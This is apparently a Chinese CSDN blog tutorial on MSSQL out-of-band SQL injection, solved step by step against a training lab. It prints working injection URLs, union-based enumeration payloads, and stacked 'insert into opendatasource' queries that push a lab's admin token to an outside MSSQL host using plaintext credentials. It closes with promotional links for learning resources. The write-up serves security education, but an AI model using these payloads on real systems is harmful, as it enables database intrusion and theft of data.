首页 > 数据库 >MSSQL注入 — 反弹注入

MSSQL注入 — 反弹注入

时间:2024-05-30 16:30:37浏览次数:18  
标签:-- DB MSSQL 反弹 id select 注入

MSSQL反弹注入原理

依靠 opendatasource 函数,把查询出的数据发送到MSSQL服务器上。

 

MSSQL反弹注入使用场景

1631543108_613f5f4436301f8049c9b.png!small?1631543107075

用 香港云 快速搭建一个MSSQL环境

1631543346_613f603256f07ee1c38fa.png!small?1631543346163

可以用 临时邮箱注册免费的试用60天。

免费60天的试用,过期了就换个邮箱。

MSSQL反弹注入常见问题

1.猜数据时为什么不能用数字

根据了MSSQL的特性,虽然不能用数字但可用null和字母填充

2.MSSQL有系统自带库吗

有 为master.dbo.sysdatabase

3.反弹注入满足的条件

能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句

4.为什么反弹注入开头不是select?

因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into

5. xtype='U' 是什么?

设置查找用户建立的数据表

6.反弹注入使用情况

没有回显的注入,支持opendatasource函数

7.如何查询当前库名

select db_name()

MSSQL反弹注入语句解析

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

语法:

OPENDATASOURCE(provider_name,init_string)

provider_name

注册为用于访问数据源的OLE DB 提供程序的PROGID的名称                 MSSQL的名称为SQLOLEDB

init_string

连接字符串

连接地址、端口、用户名、密码、数据库名

server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp  把后面语句的查询结果插入到那个表里面。

MSSQL反弹注入靶场实战

1.判断注入点

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1--%20wqe 页面正常显示

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-2--%20wqe 页面非正常显示

存在SQL注入。

2. 判断当前页面字段总数

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 3--%20wqe 页面正常显示

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 4--%20wqe 页面非正常显示

当前页面字段总数为3。

3.利用MSSQL语句来进行查询

注意:MSSQL 联合查询需要使用union all,并且有严格的类型要求。

不能和Mysql数据库一样查询可以输入1,2,3,要对应类型来注入。

id=1'and -1=-1 union all select null,null,null -- qwe

id=1'and -1=-1 union all select 1,'b,'c' -- qwe

检测出数字类型 2和3为字符串类型

1631883488_614490e0afbe80a679fa0.png!small?1631883487313

4.查表名

id=1'and -1=-1 union all select id ,'a',name from sysobjects where xtype='U' -- qwe

1631884012_614492ec847204c48be73.png!small?1631884011159

得到news表,admin表和dtproperties表。

select name from sysobjects where xtype='U';

xtype='U' ====》代表用户创建的表;

xtype='S'  ====》代表系统自带的表。

5.查列名

记住我们需要的表对应的id值:1977058079;

用 syscolumns 来查看admin表里的字段。

id=1'and -1=-1 union all select id ,'a',name from syscolumns where id =1977058079 -- qwe

1631884823_614496171f58f095905f9.png!small?1631884821745

6.查字段内容(得到FALG)

id=1'and -1=-1 union all select id ,'a',token from admin-- qwe

1631885006_614496cebb64b517e8de2.png!small?1631885005553

7.反弹注入获取FALG
反弹注入条件需要满足 能堆叠查询。
堆叠注入:    在注入的时候可以用; (;代表语句的结束)

判断能否使用堆叠注入:

id=1';select 123-- qwe  页面显示正常,能使用堆叠注入

1631941169_6145723195442d022feb0.png!small?1631941169781

插入数据:

id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select table_name from information_schema.tables-- qwe   页面显示正常,插入数据成功。

1631942234_6145765a84bc202c158c0.png!small?1631942234709

查询数据:

';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select token from admin-- qwe

1631942301_6145769d29b58c8281c18.png!small?1631942301268

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

标签:--,DB,MSSQL,反弹,id,select,注入
From: https://blog.csdn.net/2401_84488651/article/details/139295643

相关文章

  • sql注入?xss攻击?
    昨晚斗鱼苞米没有直播,无聊的我只能打开csdngoodgoodstudydaydayup了。看到一篇将安全的博文,今天试试自己小站的安全性如何(应该是一点都不安全。。)此前开发就用过一个密码加密,对于sql注入和xss攻击,倒是没做过什么对应措施危害:sql注入:会窃取数据库的内容xss攻击:可以窃......
  • 模板注入&沙箱逃逸
    模板注入SSTI服务端模板注入一、什么是SSTI首先web服务的实现中使用了模板引擎,并且将参数传递的值当作模板一部分进行渲染(渲染这个词可能有点抽象,可以简单理解为将参数作为代码的一部分解释并执行了),这就是SSTI,服务端模板执行。模板注入原理服务端可以使用哪些模板引擎?由于......
  • JEPaaS 低代码平台 accessToTeanantInfo SQL注入漏洞复现
    0x01产品简介JEPaaS低代码开发平台开源版 旨在帮助企业快速实现信息化和数字化转型。该平台基于可视化开发环境,让软件开发人员和业务用户通过直观的可视化界面来构建应用程序,而不是传统的编写代码方式。用户可以在开发平台灵活各个图形化控件,以构建业务流程、逻辑和数据模......
  • 中成科信票务管理系统 ReserveTicketManagerPlane.ashx SQL注入漏洞复现
    0x01产品简介中成科信票务管理系统是专注于演出剧院、体育场馆、旅游景区、游乐园、场地活动的票务管理系统,并为特殊客户量身定制票务应用解决方案,可根据用户的要求采用不同的技术载体实现门票的防伪:二维条码门票防伪技术、RFID电子门票防伪技术、手机二维码门票技术、变温......
  • Web安全:SQL注入大方向知识总结
    1.SQL注入简介:SQL注入(SQLInjection)是Web安全中常见的一种攻击手段。攻击者通过在Web应用的输入字段中插入恶意的SQL代码片段,使得后端数据库执行非预期的SQL命令,从而窃取数据、篡改数据或进行其他恶意操作。 2.如何发生SQL注入:**不安全的编程习惯**:开发者直接将用户输......
  • sql联合注入原理
    联合注入原理查看源码:可以看到这里没有对传入的id做任何过滤直接就拼接进了查询语句,试试传入?id=1',发现报错:为什么会报错,拼接后的语句:SELECT*FROMusersWHEREid='1''LIMIT0,1可以看到报错是把错误的地方用单引号引用了所以就算不知道后端代码,也能通过报错判断出传......
  • 5pm66YKm5Zu96ZmF ERP SQL注入漏洞复现
    FOFA:icon_hash="-682445886" PoCGET/SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1&userId=-1%20union%20select%20@@version--HTTP/1.1Host:your-ipAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q......
  • 宏景eHR showmedia.jsp SQL注入漏洞复现
    0x01产品简介宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合,满足动态化、协同化、流程化、战略化需求的软件。0x02漏洞概述宏景eHRshowmedia.jsp接口处存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。0......
  • 依赖注入
    程序开始运行时,就要注册服务,管理服务,以便提供服务将一系列创建流程打包成服务,交给容器来管理三种生命周期:1.瞬态,每个请求都创建一个新对象2.范围:限定几个请求使用同一个对象,超过则创建新对象,  .netcore默认一次http请求中后端所有请求都使用一个对象3.单例:全局共享一个对象这......
  • mssql分区表创建
    使用分区表提高并发能力和查询处理性能(需命中分区)CREATEPARTITIONFUNCTIONRangePF1(INT)ASRANGELEFTFORVALUES(10,100,1000);SELECT$PARTITION.RangePF1(1000);CREATEPARTITIONSCHEMERangePS1ASPARTITIONRangePF1ALLTO('PRIMARY');CREATETABLEd......